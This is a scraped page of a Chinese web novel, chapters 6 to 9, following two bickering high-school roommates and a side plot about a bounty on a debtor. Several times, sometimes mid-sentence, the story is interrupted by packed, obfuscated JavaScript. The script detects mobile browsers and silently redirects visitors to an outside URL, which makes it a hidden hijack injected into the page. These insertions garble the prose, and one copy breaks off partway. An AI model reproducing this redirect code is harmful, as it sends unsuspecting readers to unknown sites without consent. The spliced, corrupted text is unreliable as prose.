方笑贻思维开阔,毫不恋战,瞬间把他一撂,侧身挤到了那大半边板凳上。 边煦只见他眼珠子一转,紧接着就贴坐了过来。 夏天的人体,一片烘热。 那种热度瞬间透过来,灼得边煦眼角一抽,本能就往旁边让了让。他不喜欢亲密接触,也闻不得很多气味,觉得难闻。 但是这个姓方的,不臭,他身上甚至有点……一点点,痱子粉的味儿。他只是很鸡贼,自己一让,他那叫一个强取豪夺。 还有边煦一看他,他就下巴一昂,一副挑衅的样子,实在很难跟“亲密”搭边。 边煦也就把他忍了,因为很中二的,他也不想起来,让这家伙得逞。 两个人只好在板凳上斗鸡,你看我、我看你。 看了几秒,边煦稍微挪了挪撑地的脚,把方笑贻往右边挤了挤,因为刚刚那一让,导致他只剩一个板凳边边了,腿有点累。 方笑贻较着劲,丝毫不让,嘴上还催:“去啊,3组第一排。” “我不想去。”边煦一副大爷样。 “……”方笑贻扭头看他,“那你看我像是很想去的样子吗?” 边煦也歪着头,目光在他脸上,但却跟瞎了没两样:“非常像。” 像你大爷! 方笑贻白他一眼,心想话不投机,不能再说了,还是专心抢位子算了。 然后主任就插进来说:“你俩这,不挤吗?” 他只是出去打了个电话,回来这俩就栽一个凳上了,还嘀嘀咕咕的。 四条腿搁一张桌下摊不开,边煦的左边膝盖就被挤到走道上去了,答起话来更容易,他说:“挤。” 主任探头一张望,又回来看着他俩说:“我看第一排还有个位子,你俩谁去?” 结果这两人都不吭声。 主任会心一笑,主要是冲着边煦:“不想坐前面就得早点来,不过你今天呢也是没办法,运气不好,这样吧……” 主任顿了下,左右一扫,刚好就对上了一直密切关注着隔壁的杨妙的眼睛。 于是他抬手把杨妙一点:“这姑娘,要不,你去前面坐一坐?” 杨妙搭在腿上的手指顿时一攥,她不想去。 刚刚方笑贻帮她解围了,还叫她别低着头,从他身上,杨妙感觉到了一种“安全”,她想坐在这里。 但这老师看着也威严,杨妙暗自吸了口气,想要拒绝。可一开口,又迅速虚了。 “我……”她说,“呃,我……我……” 方笑贻其实斜面向着她,但是这次没有看她。 还是边煦忽然出声:“主任,算了。” 不过他倒不是因为怜香惜玉,他就没什么这种感情,只是因为这事原本就和别人没关系。而且,他也不是真的想跟方笑贻一起坐。 现在这样,只是为了:抬杠。 边煦说:“我下节课自己找人换就行了,谢谢主任。” 他们初中没进六中的,一多半都到这里来了,边煦虽然没细看,但认识的人应该还是有的。 主任见他乐意,又见高蓬也没说什么,就交代了两句走了。 “行吧,管不了你们,你俩爱挤,就挤个够,但是不许再蛐蛐蛐的了,好好听同学介绍。” 方笑贻吃了背对的大亏。 什么鬼?谁爱挤了?他这不全是被害的吗? 然后,那害人精还在旁边蛐蛐:“你能不能别挤了,你已经占了板凳的十分之七以上了,已经很胜利了。” “不能,我喜欢占100%,”方笑贻乍现土匪本色,“滚蛋。” 边煦其实不介意站着,但他就是不想让这货如意,顿时把左腿抻得更开,双倍抵抗道:“不滚。” 于是一场自我介绍,悄悄锻炼了四条腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178566|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 * 等后面的同学都介绍完了,老高终于叫到了边煦。 但才被叫到,下课铃就响了。 这样正好,边煦也不想上去,就站起来冲全班的空气层点了个头,说:“我是边煦,谢谢。” 然后就坐……就没地方坐了。 这姓方的把板凳拖走了,还脚都踩了一只在横杠上,正把脸斜看过来,嘴角攫着抹看热闹的浅笑。 边煦:“……” 可雷鸣般的掌声和超高的回头率还在继续。 边煦膝盖微曲着,垂眼跟他对峙了一瞬,接着忽然也对他一笑。 在一日三见、越见越烦之后,这是方笑贻第一次见他笑,眼睫眨落、嘴角微翘,竟是一种颇为含蓄腼腆的笑意,但方笑贻心里却警铃大作。 果不其然,下一秒,一条手臂就忽然搭住了他的后颈。 然后这姓边的上身一歪,竟然关系很好似的撑着他的右肩,把他那个头!扭到后面去了。 躲完,他还在后面幽幽地说:“一起被看,尴尬减半。” 方笑贻:“…………” 减半个鸡蛋啊减半!现在明明只有他一个人在被看,畜生! 还有,方笑贻抻开手臂,往左狠狠一捅,同时还把肩膀甩了甩。 谁特么准你趴我背上的!认识你么就趴。 边煦被甩下去的时候,老高也说了下课。 方笑贻没什么好脸色,但却没有边煦想得那么难看。 他只是用力而快速地把自己推开,然后面无表情、警告地一指,说:“再不滚,真抽你。” 这个反应不如预期的破防,但至少也比他看热闹的时候顺眼,边煦勉为其难,不输不赢地出去了。 教室里立刻有人喊他,煦子、煦总、煦哥哥……乱七八糟的称呼一堆,说明他熟人不少。 方笑贻闻言有种幻听的错觉:就他这样的,居然还能有人缘,不是见鬼吗? 走廊里很快热闹起来。 还真有个马大哈同学来找方笑贻问充电器,要苹果的。方笑贻说有,要了他的寝号、加了他的q.q,说下了自习给他送过去。还有女生过来要微信的,笑眯眯的,给他画大饼,说以后买东西找他。 潜在客户方笑贻也欢迎,也加了。 没多会儿,谭威再次跑了过来。 “我天塌了!”他又跳上方笑贻的桌子说,“我们班主任说要没收手机。” 方笑贻照旧把板凳拖到了走道外边,也说:“我天也塌了。” “你咋的?”谭威不信,“你不好玩儿也不好吃的,能有什么可塌的?” 方笑贻却是真的有点惆怅,边煦甚至干扰了他对双人间的感情,他说:“但我的室友,是个大煞笔。” “……”谭威茫然地咧开嘴巴,“不至于吧?全校第一,不应该?呃,很品学兼优吗?” “学不知道,”方笑贻说,“但品已经优不了了。” 谭威眼睛眨啊眨,立刻把他脖子一箍:“来,细说。” 两分钟后,谭威惊奇了:“我靠你俩这是有点儿巧哈,他要是个女的,搁电视剧里,这孙子都得八个了。” 方笑贻给了他一个“去死”的眼神。 7.第7章 可他越无语,谭威笑得就越欢。 因为他整天老气横秋的,这会才有点无能狂怒青少年的样子,多么顺眼、合群、青春啊。 可是方笑贻在剜他,谭威只好把脖子一缩,口是心非地说:“不过这哥,性格是有点恶劣哈听着。” 不是有点,是相当,但意思到了就行,方笑贻没纠正。 “不过没事,”谭威对他有信心,“他犯贱,你整他就是了。整服了,他就老实了。” 可整他不需要时间和心思吗?但希望也是个没用的东西。 方笑贻只好一撑下巴,倍感唏嘘:“嗳,天上不会掉馅饼,马上就应验了,一个字,绝。” 5分钟后,上课铃又响了。 方笑贻看着边煦进来,盯了自己一下,去了四组最后一排里面,他们遥遥且不相望,相安无事了一节课。 老高排了下后面的日程,1号开课,2号摸底考,3-5号校内军训。接着就选起了班干部。 方笑贻和边煦都在划水。 高蓬倒是挺想让边煦当数学课代表,但他没上台,他向来是光棍特种兵,没有官瘾。而方笑贻初中当过生活委员,也是不欢而散,没什么意思。 最后谢恒当了班长,陈文宣是体育委员,而李晨阳竞选了个英语课代表,其他的方笑贻都不认识。选完干部,班上又发了校服和新书,等到铃响,就下课了。 边煦下课,向来是最积极的。 他从方笑贻背后过去的时候,这人还趴在桌上写东西,一笔一划,挺认真的样子。边煦斜眼一瞧,见他在书上写名字。 但那个字,不咋地。 方笑贻写完名字,把笔还给杨妙,然后就揣起手机,站起来瞟了下4组末排,边煦早就没影了。 以他那种气质来说,是绝对租得起陪读的房子的。但由于今天这“馅饼”太铁了,砸得脑子嗡嗡响,方笑贻已经不奢求了,他晚上会去外面住。 可他住,回去就又是一顿掐。 方笑贻搓了下皱得发胀的眉心,连去学校超市摸排物价的心情都没了,但他还是去了一趟,转了两圈,才抱着校服回了寝室。 谭威晚上不住校,没人在旁边叽叽喳喳,上楼的时候,方笑贻就贴着右边的栏杆,一边爬一边在想:他侄儿睡了没有?家里今天咋样?姓边的在不在…… 然后有人就喊了他一声。 “笑贻。” 那声音亲热、惊喜,但有点陌生。 方笑贻抬起眼帘,就见300门口的缓步台那儿站了个男的,他穿一件男神必备的白衬衫,手里提着个小纸袋,人也像模像样的。 居然是谭威下午刚提过的何子谦,他看自己的表情还挺惊喜。 但是方笑贻没有同感,他只觉得一波未平一波又起:才来了个神金的新室友,又来个背刺的老“朋友”,啥稀巴烂的运气啊这是—— 他心想:真烦。 门口,何子谦见他面无表情的,脸上的笑容就有点消弭。 但两年没见了,方笑贻抽条了一大截,人也变了不少,褪去了少年时那层婴儿肥后,他五官出落得更分明了。何子谦一边偷偷地打量他,一边才发现自己是真的很想他。 “好久不见。”何子谦笑着,情不自禁地往前走了两步。 见了干嘛?重温苦逼时光? 方笑贻继续爬他的,又爬了六坎,才说:“你有事吗?” 何子谦一掂手里的纸袋,温声细语道:“你明天过生日,我给你买了个小蛋糕。” 可方笑贻不过生日都好些年了,一丁点感动也没有,他说:“不用,你自己吃吧。” “笑……”何子谦露出想规劝的表情。 方笑贻立刻打断了他:“回吧,以后也别找我了,我不想跟你有什么交集。” 说着他踏上缓步台,绕过何子谦,准备进寝室。 然而这个相忘于社会的姿态,却蓦的刺痛了何子谦,他追着转过身说:“你心里有气,我明白,也觉得是应该的,其……” 他本来想说:其实这两年,自己越来越后悔了,当初什么也没有做。 方笑贻却压根没听,把头往寝室里一歪。 寝室的灯受学校管控,早就开了,但床铺这边空空如也,边煦不在。 挺好,方笑贻转眼,正要去看厕所那边,左边手腕却忽然一紧。 下一秒,何子谦迫切地来了一句:“这不是你的寝室,你不能住在这里!” 这时,4-3的下半截楼梯中段上,有颗头突然探出了一下。 但方笑贻和何子谦没对着楼梯,都没看见。 方笑贻只觉得何子谦那个命令的语气挺搞笑,左腕使劲一绕,别开道:“怎么的?我不配是吗?” 何子谦看到他眼底的讥讽,立刻举起那只手,解释道:“不是!我不是这个意思,我的意思是那个边煦,他……” 说着他在这里迟疑住了,一副讳莫如深的样子。 之前从李晨阳那里,方笑贻已经得知了,边煦来自六泉,好巧不巧,何子谦也是。所以他这德行,大概是知道姓边的一些黑料。 得益于这位半天下来的脑残行为集,方笑贻报复性的,竟微微被吊起了一丝吃烂瓜的兴趣。 他?他什么呢? 但方笑贻没有顺着问,他说:“人家怎么样,关你什么事?” “是不关我的,但是关你的啊,他、”何子谦面露忧色,压低声音,又拿手一指太阳穴,说,“他这里有点问题,你跟他住在一起,我不放心。” “……”方笑贻盯了他两秒,“你是认真的吗?” 虽然他骂边煦是神经病,但那只是撒气用的。可眼下何子谦这模样,竟也不像是开玩笑。 “我们初中很多人都知道的,”何子谦放下手,颇有底气道,“你大可以去打听。” “我不去,”方笑贻说,“我没空,你有证据就直接说,没有就,别在背后说校友的坏话了。” 何子谦不知道为什么,特别不爱听最后这句,眉毛一皱,语气瞬间就变重了:“我没有说他的坏话,他进过强戒所,在学校门口当场被警察抓走的,当时轰动得很,这是事实。” 这个内容,对初中……不,对高中生来说都很超纲和小众了。 方笑贻甚至都没太听清:“强什么啊?” “强、戒、所。”何子谦一字一顿,把音发得异常清楚。 方笑贻垂眼一想,又看着他问:“强戒什么呢?他不是脑子有问题吗,这个也能戒掉?” 何子谦被他问得一个卡顿,嘴唇嗫嚅了下:“戒……” 戒不掉吧,所以我才不想让你住在这里。 何子谦刚想这么说,一道男声却忽然说:“戒毒。” 那个声音是边煦的,方笑贻跟他挤了一节课,被迫添加了这么个没用的熟悉度。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186632|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是他抬眼一找,看见这家伙从上一层的栏杆里探出一截上半身,正似笑非笑地盯着这边。 方笑贻对上他的视线,霎时满头都是黑线:“……” 怎么哪儿都有他啊?阴魂不散的。 楼上,边煦也是半斤八两。 这位在这里说他的坏话,被抓个正着,心虚没一点,还在翻白眼。 吃什么长大的啊,这么理直气壮。 于是两相不屑,只剩何子谦被排除在视线外面,孤独又尴尬。 “嗨,学霸。”他试图用一个恭维的招呼,冲淡这种窘迫的气氛。 然而边煦却没理他,只是一挑眉毛,同时对方笑贻说:“怕不怕?” 他俩的话立刻就冲上了,但那口型简单,方笑贻其实看懂了,但他还是说:“啊,你说啥?” 可他“啊”那样敷衍,假得要命,边煦戳破道:“别装,你听到了。” 听到又怎么样?吓唬谁啊? 方笑贻说:“怕呀,要不你退学吧?” 他还真是挺霸道,边煦又有点想笑了,被气的,但绷着说:“我不退,谁怕谁退。” 方笑贻立刻说:“你不退,那我也不退。” 说完甩了他一个“看见你就烦”的眼神,然后一头扎进屋里去了。 他俩一声紧呛一声,何子谦越听越不对劲。 他来是希望,方笑贻离边煦远一点的,结果他俩还“你不退我也不退”上了,可那怎么行? 何子谦抬脚就想跟进去,再偷偷地劝劝。 只是他才迈开一步,就听见一句:“那个,方笑贻的同学。” 何子谦闻言转过头,就见边煦还在那里,对自己说:“我不喜欢别人进我的寝室,你有什么话,就喊他出来说吧,好吧?” 他说着还笑了下,礼貌是有的,但也只有礼貌,表情和语气都很生人勿近。 何子谦看了他一眼,心里莫名感觉排斥,但脸上没有表现出来。 “好的。”何子谦回笑过去,又略一迟疑,还是把蛋糕提走了。 因为万一他现在喊方笑贻,而对方不理不要,就会让边煦看笑话。 然后他往上、边煦往下,边煦回到门口的时候,何子谦上楼刚好爬完楼梯,他偏转脚尖,顺势回过头,就见300门口,边煦整个往左框上一倚,对屋里说了句。 “我还以为你会把我关在外面呢。” 那表情看不见,但语气不一样,有种调侃戏谑的意味。 好像他俩,挺熟似的。 * 屋里,方笑贻正蹲在床边上,拉开了箱子在里面翻,闻言斜他一眼:“关了你会静静地消失吗?” “不会。”边煦说。 如果进不去,他大概会把什么班长啊副班长的,全部喊过来敲门。 “那还关什么关?”方笑贻说完,拿了个充电器放在了床上。 它包装完好,边煦见他竟真的有充电器,不由揪起眼皮,瞧了下他那箱子,又见里头全是盒子瓶子袋子,但却没有衣服。 那他穿什么? 边煦心里才冒出疑问。 方笑贻就警觉地把他一盯,然后垂眼拉上拉链,甚至还上了密码锁。 边煦:“……” 他这位新同学,室友的脑子有问题他都不在意,心里却只有他辣条和充电器。 怎么会有这种人? 牛。 8.第8章 五、六分钟后,“牛人”回来了,带着他开张的26块微信转账。 寝室里头,边煦正在椅子上玩手机,背对着桌子,朝着门这边的墙。 就在刚刚,唐悦给他发了消息。 [Rock唐]:一中咋样 [Rock唐]:有没有绝世美女? [Rock唐]:或者有趣的灵魂? 美女边煦不知道,他来了3个小时,就花了有1个小时跟方笑贻抬杠,而剩下的时间,一半在教室里听讲,一半在找能猫着的地方。 至于有趣的灵魂,边煦刚打了一个[不知],输入法跳出[道],他还没点,那个去卖充电器的就进来了。 边煦指尖蓦的一顿,不过他还是点了下去。 [边煦]:不知道 [边煦]:但是有个杠精 对话框顶上立刻开始显示:对方正在输入… 边煦从余光里瞥见方笑贻带上门,朝床铺这边来了,心里犹觉得“杠精”的程度不够,眼睫一抖动,又补了一句。 [边煦]:+钱串子 此刻,四里多地外,独门小院的地下隔音室里,唐悦瞬间来了劲。 [Rock唐]:什么杠精? [Rock唐]:这么长的评价! [Rock唐]:我已经感受到了一种牛笔,我要听 紧接着,就是一个语音电话。 但才响了半声,边煦就把它挂了。 他抬眼一瞥方笑贻,人家却根本没理他,兀自从床底下拖出两个脸盆,揣着就往卫生间去了,边煦这才又去回消息。 [边煦]:别人在,别打 所谓字少信息多,唐悦一下就折服在了文字的力量下。 [Rock唐]:在啥意思 [Rock唐]:住在一块儿啊??? [Rock唐]:我去这么好玩 [Rock唐]:早知道我也去一中算了 唐悦和程慎都在六中,边煦叫他别发神经了,洗了睡去。唐悦心脏不好,不该熬夜。 唐悦却不肯,非要听杠精的故事。 可边煦不喜欢向人转述,尤其今天碰到那么多回,他一想脑子就先绕累了。 但巧在方笑贻忘了拿水卡,忽然拉开了卫生间的门。 边煦正举着手机,又正对着他,于是略一沉思,就点开【+】,又点了下【拍摄】。 很快,唐悦收获了两条消息,但却付出了更多的好奇心。 [边煦]:照片.jpg [边煦]:杠精↑ [Rock唐]:!!! [Rock唐]:这不是小卖部那哥们? [Rock唐]:你这周放学别走! [Rock唐]:也别让你的室友走!! 他跟长了十只手一样,嗖嗖连发几条,并且还在“输入中”。 卫生间门口,方笑贻刚出来两步,一抬眼,却忽然感觉边煦那个竖起手机的姿势有点,不对劲。 于是他立刻盯住这人,眼里露出一丝警惕:“你在干嘛?” 他在偷拍。 但边煦一按home键,面不改色心不跳地说:“自拍。” 方笑贻的眼神这才空白下来,心想:臭屁,大半夜了还拍什么拍。 腹诽完,他从床下面的铁皮柜子里翻出水卡,转头又回了卫生间。 一中的住宿条件很不赖,给配的是带了脉冲刷卡器的热水淋浴。 然后报道时每人就发了张水卡,方笑贻把卡插到槽里,看见里面有个5.00,应该是5块钱。 他洗漱很快,也就十分钟,就从头到脚甚至连校服都搓完了。再出来时,边煦已经没有臭美,在翻箱子了。 方笑贻见他把箱子平摊在地上,里头被他翻得乱糟糟的,衣服、鞋、一堆计算器、书,还有一个白色机器人玩具样的东西。 它手掌大小,造型是小孩玩儿的那种萌款,被装在一个透明的盒子里,里头还有个遥控手柄。 而与此同时,他还在自言自语。 “挺好的都,别操心了。” “我不要防晒霜,别送。” “嗯,嗯嗯,我知道~了,睡吧,挂了。” 他说到“嗯”,又一回一顿的,方笑贻才反应过来,他是在跟人打电话。 只是屋里没别的人声,而他竟然还用了叠词。 方笑贻顿时小小地惊奇了下,一方面是没想到,他都这么大了,还会带玩具来上学;另一面也是没想到,他居然能有这么温顺的时候。 看起来,还挺像个人。 “像人”的边煦住了嘴,继续找他网购的语音识别模块。 他记得他是带了的,还不止一个,可现在不知道掖哪儿去了,他翻了会儿还是没找到,又见方笑贻出来了,而自己洗澡磨叽,就取下右边的蓝牙耳机,再盖上箱子,拿起用品去洗了。 一中10点20熄灯。 方笑贻是10点一刻上的床,躺下的时候还在设想:边煦睡觉烦不烦人…… 只是一直等到熄灯,他才发现,这家伙离睡觉都很遥远。 因为他一直在冲澡,从熄灯以前,冲到了熄灯20分钟以后。 方笑贻就不明白了:到底什么样的澡?需要冲这么久! 他从寻常等到焦躁,最后一个骨碌翻起来,下去捶了门。 “你准备洗到什么时候去?”他在外面语气不善。 边煦身上还有点痒,但还是关了热水,在里头怼他:“这你也要管?” “不想被管,”方笑贻说,“你就去外头住独栋别墅。” 边煦在胸前挠了两下,说:“我有钱,但我不去。” “无聊。”方笑贻说着又把门一拍,警告他,“赶紧出来,我要睡了。” “关我什么事。”边煦说完看了眼水表,见卡里还剩4毛6,又把淋浴开了。 外头顿时就静悄悄的了。 但他静悄悄的,就有点诡异,边煦也不知哪来的直觉,水都没关,拉起浴巾一裹,几个快步挪到门口,把门拉开了一条缝。 然后他就见方笑贻站在外面,手里抄着根棍状的东西。 边煦当时的第一反应,就是方笑贻要打他。 可门一开,对方却压根没有推,而是伸手一搭把手,在往回拉。 边煦感受到那种拉力,脑子一下就反应过来了,他是准备拿拖把,把自己别在里面。 边煦:“……” 这姓方的简直缺德到家。 但边煦有点气极反笑体质,于是他突兀地笑出个气音,心里又挑衅地想:真有意思。 不过嘴上,他还是很识时务,立刻拉着门说:“行了行了我不洗了,你把拖把放下。” 毕竟这黑灯瞎火的,他又没带手机,真被关在厕所了,实在有点无助。 房里一片乌漆墨黑,可方笑贻硬是盯着他。 这货现在好像是个裸男,不过好在浴巾够大、光线够黑,所以方笑贻也不担心长鸡眼,又不动如山地凝视他了几秒,才把拖把扔回了墙角。 边煦看他转身离开,自己也言出必行,折回淋浴底下,抽走了他的4毛6。 两分钟后,他穿好睡衣、顶着毛巾出来,下铺的人已经躺平了。 但又没有那么平,边煦擦完头发,上床躺了半晌,还听见他在下面蛄蛹,左翻右翻、十分频繁,翻了得有快40分钟,然后才慢慢没动静了。 翌日一早,方笑贻醒在了闹钟前面。 他下地的时候,转头看见边煦还在睡,仰面躺得平平的,睡得像个端庄的…… 尸体。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199896|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方笑贻第一反应其实是这个,但这字眼太不吉利,于是他把它换成了“雕像”。 而“雕像”化的边煦顺眼了十倍,因为这一夜下来,竟是一阵安然入睡。 他在路上见个人都瞪,方笑贻实在没想到,他睡起觉来竟能这么安分,鲜少翻身、不打呼、不说梦话,甚至都听不见什么呼吸声。 方笑贻头一次心平气和地看了他片刻,心想:他要是能少说点话,多睡点觉就好了。 * “煦总?边煦?醒醒。” 边煦被人推醒的时候,是早上7点55分。 这会,早读已经开始了15分钟,而早餐早于早读,食堂里碗都快洗完了。 至于语文老师李慧,她比教导主任还像主任,巡查到4组发现没人,立刻也不管他是第一还是垫底,就问他同桌人去哪儿了? 可他同桌刘丞丞,也是昨晚换过座的自己人,是来自六泉的老同学。 刘丞丞立刻机智地说:“老师他不舒服,还在寝室。” 李老师板着张严肃的脸:“不舒服,请了假去医务室啊,在寝室里有什么用?” 刘丞丞无力反驳,只好摸了下鼻子。 李老师哂出一口糟心气:“去,把他叫起来。” 刘丞丞就跑回了300。 他从后门蹿出去的时候,方笑贻侧头目送了几秒。 虽然他早上出门时,说希望边煦多睡觉,但这家伙睡到课都不上,也是有点过分了。 边煦好几天没睡踏实了,此刻被迫醒来,脑子眼睛都一个劲地发糊,于是他立刻抬起左臂,把眼睛盖住了。 刘丞丞见他醒了:“你怎么睡到现在啊?你室友没叫你吗?” “没。”边煦心说,叫个鬼,他不拿拖把抽我都不错了。 “那也太不讲义气了吧?”刘丞丞一瞥下铺的姓名牌。 边煦没说话,但也没生气,因为就没义气,怎么讲呢? 而且他睡了个好觉,身体和精神这会除了懒点儿,都挺祥和,所以能原谅很多小屁事。 刘丞丞往床边一趴,偷偷地卷:“数学预习笔记有没有?借我抄。” 边煦翻到朝墙那边:“有,起来给你。” “神!”刘丞丞狗腿地说,“谢意午间献上。” 刘丞丞家就在学校旁边,他姐在附近不远有个咖啡店,也夹卖自制甜品。 边煦说:“不要。” “新品嘞,”刘丞丞使劲诱惑,“蓝莓瀑布哗啦啦的芝士蛋糕。” 边煦安静了两秒:“那要。” 早读课到一半,边煦跟刘丞丞才溜进来。 方笑贻不期然扫见他,姿态居然并不大摇大摆,而是悄悄进来的,偷感不浅,像个娴熟的学渣。 * 早读课后,接了3节正课,然后就是课间操。 一中的课间算大的,有25分钟,今天又是开学第一天,因此有校长讲话。 到了操场,方笑贻看见了谭威,他正在跑道和假草皮的交界处,跟何子谦说着什么。 方笑贻不想接触何子谦,就没跟他打招呼。不过谭威看见了他,立刻就撇下何子谦,跑过来了。 “你昨晚跟‘第一’,没打起来吧?”谭威既心系他,又想吃瓜。 方笑贻报喜不报忧:“没有。” “那就好。”谭威说完,又把他肩膀一搭,一副汉奸泄密的样子,“我跟你说,我刚不是碰见何子谦了吗?扯了两句,然后你知道我发现了啥?” 方笑贻避雷似的:“跟他们家有关的东西,我不感兴趣。” “不,”谭威高深地摇了摇食指,“这个你得感。我感觉他家里应该出事了,翻车的那种,这么恶有恶报的事,你怎么可以不知道?” 恶有恶报,真的能让人扬眉吐气吗? 9.第9章 不能。 报应只是无能的人,对自身无计可施的自我欺骗和寄托。 方笑贻心里这么想着,可嘴上又沉默了一会,终究还是问了一句:“什么情况?” 谭威说:“他那个扶弟魔的妈,别人有啥,她儿就得有,这你是知道的?” 方笑贻“嗯”了一声,示意他继续。 “但是今年,他居然没有在校外租房子,初中都租了,高中难道不比初中重要?”谭威下巴一台,“所以你说,这能说明啥?” 怪不得,方笑贻心想,昨晚他人会在寝室楼里。 他看向谭威:“你想说,他家没钱了,连陪读的房子都租不起了,是这个意思吗?” 谭威打了个响指:“对!” “但他还是比我有钱啊,”方笑贻说,“还穿耐克,还烫头呢。” 谭威心里的爽感瞬间打折,开始骂他:“你知足一点好不好?变穷一点也是变穷,总比变富好吧?” 方笑贻就是不知足。 如果不到穷到贷款上学的地步,那这个报应就不公平,他不稀罕。 但他不会说出口,因为上次他去谭威家,撞见谭威的妈和奶奶在院里议论他。 说他做事太绝、性格极端,像是个会出事的,是不是该让谭威离他远点? 方笑贻其实能感觉到,他们迟早会走向分歧,毕竟生活环境不一样了,但他舍不得失去谭威。这是他人生中重要的温暖,方笑贻也只好也藏起他的阴暗,尽力维护他的友情。 眼下,他口是心非地扬起眉梢,说:“有道理,我马上知足。” 谭威立刻笑了起来:“这才对噻!回头我问问我妈,叫她跟老家联系的时候再打听一下。” 方笑贻还是笑:“嗯。” 话音未落,边煦就慢悠悠的,从升旗台旁边的入口拐进了操场。 这会,满地都是黑白校服,但方笑贻莫名地不难找,边煦根本没找他,但没两眼,又看到了他。 他正站在升旗台旁边,跟昨晚到教室找他那个栗子头在说笑。 但那个笑,怎么说呢?眼不够弯、牙也没露。 边煦扭头盯着他,心里正在评头论足:不高兴就不要笑…… 下一秒,他就因为走路不肯路,撞到了一个人。 不过也没撞实,一碰到对方,边煦立刻就往后闪了。随即他看到脸,居然是昨晚到寝室找方笑贻的那个。 何子谦本来有点恼火。 谭威丢下他之后,他迟疑了片刻,也跟着过来了,但是哪个走路不长眼睛? 然而趔趄开一看是边煦,他又发作不出来,只好堆出个笑:“学霸,是你啊。” 别这么喊我—— 边煦睨他一眼,心里本来是这句。 这种东西,背后被吹才有格调,谁要当面被喊啊?那么装比。 但这就是个路人,边煦又懒得纠正,只高冷地一眨眼皮,错身走了。 在他后背,方笑贻看见何子谦过来,立刻拉上谭威,往外划弧。 何子谦看他避自己如蛇蝎,脸色霎时一沉。 他想弥补,也是错吗?! * 按照惯例,开学第一天,国旗下有个学生代表讲话。 但是第一节课前,高蓬找他,边煦又给拒绝了。 在初中3年的抗争里,他终于明白了一个道理,那就是他成为不了,一个受别人所期待的、优秀的模版了。 他从来不是,也不会再是了。 去致辞的也就还是谢恒。 边煦就在男生左边队伍的最后面,拿TI-84[1]跑《方块求生赛》[2]的局部代码。 这代码是网上下的,他改了些参数,把方块变成了简版卡通熊头。 至于方笑贻,这也是个酱油货色。 “……自强能登上人生的巅峰。”台上的谢恒正慷慨陈词。 方笑贻却没办法,他听不进这类演说,只好偷偷地摸出了手机。然后他就看见席子发了一条,很莫名其妙的朋友圈。 [席子]: 搜捕酒鬼,行动开始! 钱来钱来钱来.jpg 酒鬼和蓝胖子一样,也是四海颇有名气的挂壁。 他原本姓孙,据他自己所吹,以前还是榆临日报的社会新闻记者,是文化人,还得过什么奖。但是现在,他只是一个失去了姓名,并以代号为生的挂壁。 酒鬼终日酗酒,常年驻扎在天堂河网吧,做点“法人”生意[3]。 而方笑贻以前在天堂河送过一阵炒粉炒面,姑且算是认识酒鬼,并觉得他的人和生意都有点缺德,所以自己不愿意接触他,也叫席子离他远点了。 所以现在,方笑贻越看越不对劲,立刻截了个图,发给了席子。 [重…富]:截图.jpg [重…富]:这啥啊? 过了两分钟,席子出现回了语音,全被方笑贻转成了文字。 [席子][1s→][4]:嘿嘿兼职 [席子][1s→]:超级高薪 可超级+高薪,一看就是两个大坑。 [重…富]:详细点说,从头到尾 [席子][10s→]:啧就是,我昨晚去天堂河砍《传奇》嘛,就听见好几个人都在打听酒鬼,我就纳闷哪。就一问,然后发现老袁竟然在老哥中间发了悬赏 [席子][3s→]:他出2000块呢,要找酒鬼 老袁是天堂河的代理老板,人倒是不老,才刚刚35。 只是问题是,方笑贻眉心渐渐蹙起,回复的速度也开始变快。 [重…富]:酒鬼不就住在网吧吗?老袁还需要花钱找他? [席子][9s→]:本来是在的,但昨天中午,好像有债主到网吧找他,他“嗖”一下就翻窗户跑了,现在也不知道猫哪儿去了 方笑贻心想,可能躲到烂尾楼那块去儿,但席子年纪小,人又莽憨莽憨的,他就没跟席子说,只又回道。 [重…富]:什么债主? [重…富]:是这个债主叫老袁发的悬赏吗? [席子][8s→]:应该是吧,不然老袁咋可能给酒鬼花2000块?把他卖了都不值那么多钱 [席子][4s→]:债主我倒是不清楚耶,我问问哈 两分多钟后,他又回来了。 [席子][4s→]:来了,债主据说是个土豪,戴个口罩,可有钱 可土豪+口罩+昨天? 网吧那个债主,不会就是…… 方笑贻匪夷所思地眯起眼睛,下意识回头去找边煦,同时心想:这是什么悬疑文的展开啊? 然后一阵掌声忽然响起,升旗仪式就到此结束了。 边煦跟着抬头,就见他那个室友,正扭着个头,在偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 